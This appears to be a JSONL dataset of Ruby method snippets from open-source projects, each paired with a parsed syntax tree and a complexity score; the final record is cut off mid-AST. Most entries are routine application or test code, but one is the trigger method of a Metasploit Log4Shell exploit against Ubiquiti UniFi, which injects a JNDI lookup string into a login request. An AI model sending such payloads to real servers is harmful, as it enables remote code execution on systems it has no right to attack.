{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/command/binlog_reader.rb","start_line":218,"raw_source":"def initialize(argv = ARGV)\n      super\n      parse_options!\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"argv\",{\"type\":\"const\",\"children\":[null,\"ARGV\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"parse_options!\"]}]}]}","id":"bbce30bd-f0b1-4d17-8570-b9eb038fce5a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/dot_net_deserialization.rb","start_line":29,"raw_source":"def self.get_ancestor(obj, ancestor_type, required: true)\n    while ! (obj.nil? || obj.is_a?(ancestor_type))\n      obj = obj.parent\n    end\n\n    raise RuntimeError, \"Failed to find ancestor #{ancestor_type.name}\" if obj.nil? && required\n\n    obj\n  end","complexity_score":13.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_ancestor\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]},{\"type\":\"arg\",\"children\":[\"ancestor_type\"]},{\"type\":\"kwoptarg\",\"children\":[\"required\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"is_a?\",{\"type\":\"lvar\",\"children\":[\"ancestor_type\"]}]}]}]},\"!\"]},{\"type\":\"lvasgn\",\"children\":[\"obj\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"parent\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"nil?\"]},{\"type\":\"lvar\",\"children\":[\"required\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to find ancestor \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor_type\"]},\"name\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"obj\"]}]}]}","id":"5c6dc904-4741-42e6-a72b-545968e55a35"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/feature.rb","start_line":167,"raw_source":"def disable(key, thing = false)\n      thing = sanitized_thing(thing)\n\n      log(key: key, action: __method__, thing: thing)\n\n      with_feature(key) { _1.disable(thing) }\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"disable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"optarg\",\"children\":[\"thing\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"thing\",{\"type\":\"send\",\"children\":[null,\"sanitized_thing\",{\"type\":\"lvar\",\"children\":[\"thing\"]}]}]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[null,\"__method__\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thing\"]},{\"type\":\"lvar\",\"children\":[\"thing\"]}]}]}]},{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_feature\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},1,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]},\"disable\",{\"type\":\"lvar\",\"children\":[\"thing\"]}]}]}]}]}","id":"d3206b0f-4d71-41d7-8e07-e931f8341e90"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/base.rb","start_line":65,"raw_source":"def to_json(*a)\n        h = @hash.dup\n        h.delete(:application)\n        h.to_json(*a)\n      rescue JSON::GeneratorError => e\n        puts(\"Failed to jsonify #{h} (#{a})\") if Spaceship::Globals.verbose?\n        raise e\n      end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"to_json\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"a\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"h\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"application\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"to_json\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"GeneratorError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"Globals\"]},\"verbose?\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to jsonify \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}","id":"4417310a-dc90-429c-8acb-2a6afd8eafe9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/work_items_controller.rb","start_line":73,"raw_source":"def import_params\n    params.permit(:file)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"import_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"file\"]}]}]}","id":"112c44f8-0519-437b-ad88-628893469652"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/dsl.rb","start_line":286,"raw_source":"def bind(url)\n      @options[:binds] ||= []\n      @options[:binds] << url\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"bind\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"binds\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"binds\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]}","id":"5f6a0e5e-fcf0-4f12-85ff-85da7baea04b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/ubiquiti_unifi_log4shell.rb","start_line":117,"raw_source":"def trigger\n    @search_received = false\n    # HTTP request initiator\n    send_request_cgi(\n      'uri' => normalize_uri(target_uri, 'api', 'login'),\n      'method' => 'POST',\n      'ctype' => 'application/json',\n      'data' => {\n        'username' => rand_text_alphanumeric(8..16), # can not be blank!,\n        'password' => rand_text_alphanumeric(8..16), # can not be blank!\n        'remember' => log4j_jndi_string,\n        'strict' => true\n      }.to_json\n    )\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@search_received\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"target_uri\"]},{\"type\":\"str\",\"children\":[\"api\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[16]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[16]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"remember\"]},{\"type\":\"send\",\"children\":[null,\"log4j_jndi_string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"strict\"]},{\"type\":\"true\",\"children\":[]}]}]},\"to_json\"]}]}]}]}]}]}","id":"d9894297-1073-4d47-98f2-e4397558998d"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/test/connection/cross_site_forgery_test.rb","start_line":78,"raw_source":"def connect_with_origin(origin)\n      response = nil\n\n      run_in_eventmachine do\n        response = Connection.new(@server, env_for_origin(origin)).process\n      end\n\n      response\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"connect_with_origin\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"origin\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_in_eventmachine\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Connection\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@server\"]},{\"type\":\"send\",\"children\":[null,\"env_for_origin\",{\"type\":\"lvar\",\"children\":[\"origin\"]}]}]},\"process\"]}]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}","id":"f35c8571-6deb-42c6-9286-5affed5b94a4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/group_access_token.rb","start_line":58,"raw_source":"def api_delete_path\n        \"/groups/#{group.id}/access_tokens/#{id}\"\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"api_delete_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/groups/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/access_tokens/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}","id":"3f470428-c4b7-44a9-898b-7f1e912266a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request_diff.rb","start_line":477,"raw_source":"def fallback_diff_refs\n    real_refs = diff_refs\n    return real_refs if real_refs\n\n    likely_base_commit_sha = (first_commit&.parent || first_commit)&.sha\n\n    Gitlab::Diff::DiffRefs.new(\n      base_sha: likely_base_commit_sha,\n      start_sha: safe_start_commit_sha,\n      head_sha: head_commit_sha\n    )\n  end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fallback_diff_refs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"real_refs\",{\"type\":\"send\",\"children\":[null,\"diff_refs\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"real_refs\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"real_refs\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"likely_base_commit_sha\",{\"type\":\"csend\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_commit\"]},\"parent\"]},{\"type\":\"send\",\"children\":[null,\"first_commit\"]}]}]},\"sha\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Diff\"]},\"DiffRefs\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_sha\"]},{\"type\":\"lvar\",\"children\":[\"likely_base_commit_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_sha\"]},{\"type\":\"send\",\"children\":[null,\"safe_start_commit_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"head_sha\"]},{\"type\":\"send\",\"children\":[null,\"head_commit_sha\"]}]}]}]}]}]}","id":"392d41c1-792b-4294-82e0-48501d567d5e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/concurrency_limit/middleware_v2.rb","start_line":7,"raw_source":"def initialize(worker, job)\n          @worker = worker\n          @job = job\n\n          @worker_class = if worker.is_a?(Class)\n                            worker\n                          elsif worker.is_a?(String)\n                            worker.safe_constantize\n                          else\n                            worker.class\n                          end\n\n          @worker_name = worker_class ? worker_class.name : nil\n        end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"worker\"]},{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@worker\",{\"type\":\"lvar\",\"children\":[\"worker\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@job\",{\"type\":\"lvar\",\"children\":[\"job\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@worker_class\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Class\"]}]},{\"type\":\"lvar\",\"children\":[\"worker\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},\"safe_constantize\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},\"class\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@worker_name\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"worker_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"worker_class\"]},\"name\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"d00de132-26fa-41c6-b1ed-5a02e8047e3a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/services/bim/bcf/viewpoints/create_service.rb","start_line":34,"raw_source":"def persist(service_result)\n        # snapshot base64 data must not get stored\n        service_result.result.json_viewpoint[\"snapshot\"]&.delete(\"snapshot_data\")\n\n        super\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"persist\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"result\"]},\"json_viewpoint\"]},\"[]\",{\"type\":\"str\",\"children\":[\"snapshot\"]}]},\"delete\",{\"type\":\"str\",\"children\":[\"snapshot_data\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"2cb0c070-d8d3-48d4-be23-2f3ef1e76157"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper/form_with_test.rb","start_line":349,"raw_source":"def test_form_with\n    form_with(model: @post, id: \"create-post\") do |f|\n      concat f.label(:title) { \"The Title\" }\n      concat f.text_field(:title)\n      concat f.textarea(:body)\n      concat f.checkbox(:secret)\n      concat f.select(:category, %w( animal economy sports ))\n      concat f.submit(\"Create post\")\n      concat f.button(\"Create post\")\n      concat f.button {\n        concat content_tag(:span, \"Create post\")\n      }\n    end\n\n    expected = whole_form(\"/posts/123\", \"create-post\", method: \"patch\") do\n      \"<label for='post_title'>The Title</label>\" \\\n      \"<input name='post[title]' type='text' value='Hello World' id='post_title' />\" \\\n      \"<textarea name='post[body]' id='post_body'>\\nBack to the hill and over it again!</textarea>\" \\\n      \"<input name='post[secret]' type='hidden' value='0' autocomplete='off' />\" \\\n      \"<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' />\" \\\n      \"<select name='post[category]' id='post_category'><option value='animal'>animal</option>\\n<option value='economy'>economy</option>\\n<option value='sports'>sports</option></select>\" \\\n      \"<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />\" \\\n      \"<button name='button' type='submit'>Create post</button>\" \\\n      \"<button name='button' type='submit'><span>Create post</span></button>\"\n    end\n\n    assert_dom_equal expected, @rendered\n  end","complexity_score":32.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_with\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"create-post\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"label\",{\"type\":\"sym\",\"children\":[\"title\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"text_field\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"textarea\",{\"type\":\"sym\",\"children\":[\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"checkbox\",{\"type\":\"sym\",\"children\":[\"secret\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"select\",{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"animal\"]},{\"type\":\"str\",\"children\":[\"economy\"]},{\"type\":\"str\",\"children\":[\"sports\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"submit\",{\"type\":\"str\",\"children\":[\"Create post\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"button\",{\"type\":\"str\",\"children\":[\"Create post\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"button\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"span\"]},{\"type\":\"str\",\"children\":[\"Create post\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/posts/123\"]},{\"type\":\"str\",\"children\":[\"create-post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<label for='post_title'>The Title</label>\"]},{\"type\":\"str\",\"children\":[\"<input name='post[title]' type='text' value='Hello World' id='post_title' />\"]},{\"type\":\"str\",\"children\":[\"<textarea name='post[body]' id='post_body'>\\nBack to the hill and over it again!</textarea>\"]},{\"type\":\"str\",\"children\":[\"<input name='post[secret]' type='hidden' value='0' autocomplete='off' />\"]},{\"type\":\"str\",\"children\":[\"<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' />\"]},{\"type\":\"str\",\"children\":[\"<select name='post[category]' id='post_category'><option value='animal'>animal</option>\\n<option value='economy'>economy</option>\\n<option value='sports'>sports</option></select>\"]},{\"type\":\"str\",\"children\":[\"<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />\"]},{\"type\":\"str\",\"children\":[\"<button name='button' type='submit'>Create post</button>\"]},{\"type\":\"str\",\"children\":[\"<button name='button' type='submit'><span>Create post</span></button>\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"0774ef3e-2738-43b0-8258-c5652ea72a17"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/project_phases/reschedule_service.rb","start_line":42,"raw_source":"def persist(service_call)\n      reschedule_phases(**params)\n\n      service_call\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"persist\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_call\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reschedule_phases\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"service_call\"]}]}]}","id":"97497ca0-af16-4c09-804f-b6ed2b9f546d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/groups_helper.rb","start_line":193,"raw_source":"def group_unarchive_settings_app_data(group)\n    {\n      resource_type: 'group',\n      resource_id: group.id,\n      resource_path: group_path(group),\n      ancestors_archived: group.ancestors_archived?.to_s\n    }\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group_unarchive_settings_app_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_type\"]},{\"type\":\"str\",\"children\":[\"group\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_path\"]},{\"type\":\"send\",\"children\":[null,\"group_path\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ancestors_archived\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"ancestors_archived?\"]},\"to_s\"]}]}]}]}","id":"28aa3c7e-512e-425b-8f9e-b377c05861cb"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/telligent.rb","start_line":377,"raw_source":"def import_topics\n    puts \"\", \"Importing topics...\"\n\n    last_topic_id = -1\n    total_count =\n      count(\"SELECT COUNT(1) AS count FROM te_Forum_Threads t WHERE #{ignored_forum_sql_condition}\")\n\n    batches do |offset|\n      rows = query(<<~SQL)\n        SELECT TOP #{BATCH_SIZE}\n          t.ThreadId, t.ForumId, t.UserId, t.TotalViews, t.ContentID AS TopicContentId,\n          t.Subject, t.Body, t.DateCreated, t.IsLocked, t.StickyDate,\n          a.ApplicationTypeId, a.ApplicationId, a.ApplicationContentTypeId, a.ContentId, a.FileName, a.IsRemote\n        FROM te_Forum_Threads t\n          LEFT JOIN te_Attachments a\n            ON (a.ApplicationId = t.ForumId AND a.ApplicationTypeId = 0 AND a.ContentId = t.ThreadId AND\n                a.ApplicationContentTypeId = 0)\n        WHERE t.ThreadId > #{last_topic_id} AND #{ignored_forum_sql_condition}\n        ORDER BY t.ThreadId\n      SQL\n\n      break if rows.blank?\n      last_topic_id = rows[-1][\"ThreadId\"]\n      next if all_records_exist?(:post, rows.map { |row| import_topic_id(row[\"ThreadId\"]) })\n\n      create_posts(rows, total: total_count, offset: offset) do |row|\n        user_id = user_id_from_imported_user_id(row[\"UserId\"]) || Discourse::SYSTEM_USER_ID\n\n        post = {\n          id: import_topic_id(row[\"ThreadId\"]),\n          title: CGI.unescapeHTML(row[\"Subject\"]),\n          raw: raw_with_attachment(row, user_id, :topic),\n          category: category_id_from_imported_category_id(row[\"ForumId\"]),\n          user_id: user_id,\n          created_at: row[\"DateCreated\"],\n          closed: row[\"IsLocked\"],\n          views: row[\"TotalViews\"],\n          post_create_action:\n            proc do |action_post|\n              topic = action_post.topic\n              if topic.pinned_until\n                Jobs.enqueue_at(topic.pinned_until, :unpin_topic, topic_id: topic.id)\n              end\n              url = \"f/#{row[\"ForumId\"]}/t/#{row[\"ThreadId\"]}\"\n              Permalink.create(url: url, topic_id: topic.id) unless Permalink.exists?(url: url)\n              import_topic_views(topic, row[\"TopicContentId\"])\n            end,\n        }\n\n        if row[\"StickyDate\"] > Time.now\n          post[:pinned_until] = row[\"StickyDate\"]\n          post[:pinned_at] = row[\"DateCreated\"]\n        end\n\n        post\n      end\n    end\n  end","complexity_score":92.1,"ast_json":"{\"type\":\"def\",\"children\":[\"import_topics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing topics...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"last_topic_id\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"lvasgn\",\"children\":[\"total_count\",{\"type\":\"send\",\"children\":[null,\"count\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT COUNT(1) AS count FROM te_Forum_Threads t WHERE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignored_forum_sql_condition\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batches\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT TOP \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  t.ThreadId, t.ForumId, t.UserId, t.TotalViews, t.ContentID AS TopicContentId,\\n\"]},{\"type\":\"str\",\"children\":[\"  t.Subject, t.Body, t.DateCreated, t.IsLocked, t.StickyDate,\\n\"]},{\"type\":\"str\",\"children\":[\"  a.ApplicationTypeId, 